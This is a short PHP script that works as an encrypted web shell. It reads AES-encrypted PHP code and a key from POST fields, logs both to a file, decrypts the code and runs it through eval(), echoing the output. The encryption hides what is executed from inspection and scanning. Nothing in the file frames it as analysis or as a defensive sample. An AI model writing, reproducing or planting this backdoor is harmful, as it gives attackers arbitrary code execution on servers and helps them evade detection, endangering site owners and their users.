<?php
function decryptPHPCode($encryptedCode, $key) {
    $iv = substr($encryptedCode, 0, 32);
    $encryptedData = substr($encryptedCode, 32);
    $decrypted = openssl_decrypt(hex2bin($encryptedData), 'AES-128-CBC', hex2bin($key), OPENSSL_RAW_DATA, hex2bin($iv));
    return $decrypted;
}
$encryptedCode = $_POST['encrypted_php'] ?? null;
$decryptionKey = $_POST['encryption_key'] ?? null;
file_put_contents('log.txt', "Encrypted PHP: " . $encryptedCode . "\n", FILE_APPEND);
file_put_contents('log.txt', "Decryption Key: " . $decryptionKey . "\n", FILE_APPEND);
if ($encryptedCode && $decryptionKey) {
    $decryptedCode = decryptPHPCode($encryptedCode, $decryptionKey);
    if ($decryptedCode === false) {
        echo "Decryption failed.";
    } else {
        ob_start();
        eval("?>" . $decryptedCode . "<?php ");
        $output = ob_get_clean();
        echo $output;
    }
} else {
    echo "No encrypted PHP code or decryption key provided.";
}
?>
